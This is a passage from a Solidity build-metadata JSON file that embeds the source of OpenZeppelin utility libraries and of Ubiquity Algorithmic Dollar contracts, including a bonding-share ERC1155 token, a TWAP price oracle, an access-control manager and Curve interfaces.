revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.call{value: value}(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(\\n bool success,\\n bytes memory returndata,\\n string memory errorMessage\\n ) private pure returns (bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x3b4820cac4f127869f6eb496c1d74fa6ac86ed24071e0f94742e6aef20e7252c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0x95098bd1d9c8dec4d80d3dedb88a0d949fa0d740ee99f2aa466bc308216ca6d5\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant _HEX_SYMBOLS = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n}\\n\",\"keccak256\":\"0x391d3ba97ab6856a16b225d6ee29617ad15ff00db70f3b4df1ab5ea33aa47c9d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/BondingShareV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./utils/SafeAddArray.sol\\\";\\n\\ncontract BondingShareV2 is ERC1155, ERC1155Burnable, ERC1155Pausable {\\n using SafeAddArray for uint256[];\\n struct Bond {\\n // address of the minter\\n address minter;\\n // lp amount deposited by the user\\n uint256 lpFirstDeposited;\\n uint256 creationBlock;\\n // lp that were already there when created\\n uint256 lpRewardDebt;\\n uint256 endBlock;\\n // lp remaining for a user\\n uint256 lpAmount;\\n }\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n // Mapping from account to operator approvals\\n mapping(address => uint256[]) private _holderBalances;\\n mapping(uint256 => Bond) private _bonds;\\n uint256 private _totalLP;\\n uint256 private _totalSupply;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n /**\\n * @dev constructor\\n */\\n constructor(address _manager, string memory uri) ERC1155(uri) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n /// @dev update bond LP amount , LP rewards debt and end block.\\n /// @param _bondId bonding share id\\n /// @param _lpAmount amount of LP token deposited\\n /// @param _lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param _endBlock end locking period block number\\n function updateBond(\\n uint256 _bondId,\\n uint256 _lpAmount,\\n uint256 _lpRewardDebt,\\n uint256 _endBlock\\n ) external onlyMinter whenNotPaused {\\n Bond storage bond = _bonds[_bondId];\\n uint256 curLpAmount = bond.lpAmount;\\n if (curLpAmount > _lpAmount) {\\n // we are removing LP\\n _totalLP -= curLpAmount - _lpAmount;\\n } else {\\n // we are adding LP\\n _totalLP += _lpAmount - curLpAmount;\\n }\\n bond.lpAmount = _lpAmount;\\n bond.lpRewardDebt = _lpRewardDebt;\\n bond.endBlock = _endBlock;\\n }\\n\\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\\n /// @param to owner address\\n /// @param lpDeposited amount of LP token deposited\\n /// @param lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param endBlock block number when the locking period ends\\n function mint(\\n address to,\\n uint256 lpDeposited,\\n uint256 lpRewardDebt,\\n uint256 endBlock\\n ) public virtual onlyMinter whenNotPaused returns (uint256 id) {\\n id = _totalSupply + 1;\\n _mint(to, id, 1, bytes(\\\"\\\"));\\n _totalSupply += 1;\\n _holderBalances[to].add(id);\\n Bond storage _bond = _bonds[id];\\n _bond.minter = to;\\n _bond.lpFirstDeposited = lpDeposited;\\n _bond.lpAmount = lpDeposited;\\n _bond.lpRewardDebt = lpRewardDebt;\\n _bond.creationBlock = block.number;\\n _bond.endBlock = endBlock;\\n _totalLP += lpDeposited;\\n }\\n\\n /**\\n * @dev Pauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_pause}.\\n *\\n */\\n function pause() public virtual onlyPauser {\\n _pause();\\n }\\n\\n /**\\n * @dev Unpauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_unpause}.\\n *\\n */\\n function unpause() public virtual onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public override whenNotPaused {\\n super.safeTransferFrom(from, to, id, amount, data);\\n _holderBalances[to].add(id);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override whenNotPaused {\\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\\n _holderBalances[to].add(ids);\\n }\\n\\n /**\\n * @dev Total amount of tokens .\\n */\\n function totalSupply() public view virtual returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev Total amount of LP tokens deposited.\\n */\\n function totalLP() public view virtual returns (uint256) {\\n return _totalLP;\\n }\\n\\n /**\\n * @dev return bond details.\\n */\\n function getBond(uint256 id) public view returns (Bond memory) {\\n return _bonds[id];\\n }\\n\\n /**\\n * @dev array of token Id held by the msg.sender.\\n */\\n function holderTokens(address holder)\\n public\\n view\\n returns (uint256[] memory)\\n {\\n return _holderBalances[holder];\\n }\\n\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n require(amount == 1, \\\"amount <> 1\\\");\\n super._burn(account, id, 1);\\n Bond storage _bond = _bonds[id];\\n require(_bond.lpAmount == 0, \\\"LP <> 0\\\");\\n _totalSupply -= 1;\\n }\\n\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual override whenNotPaused {\\n super._burnBatch(account, ids, amounts);\\n for (uint256 i = 0; i < ids.length; ++i) {\\n _totalSupply -= amounts[i];\\n }\\n }\\n\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override(ERC1155, ERC1155Pausable) {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n }\\n}\\n\",\"keccak256\":\"0xff896ee924e35d96997f9b3af56da1adeca058fa23286f16d4ce92c3d8a3faa1\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (\\n uint256[2] memory priceCumulative,\\n uint256 blockTimestamp\\n ) = _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances = IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x0341b8dcf0f7855cc155fa518c027826fb066239a84e5c0d35381c7d4106e774\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool = ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount = IERC20(_crv3PoolTokenAddress).balanceOf(\\n address(this)\\n );\\n uint256 uADTokenAmount = IERC20(dollarTokenAddress).balanceOf(\\n address(this)\\n );\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts = [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0x16c9815f13f4c91de78beaecf3b0950ad2a481afd5da13d256e6575ac4dd57bc\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event 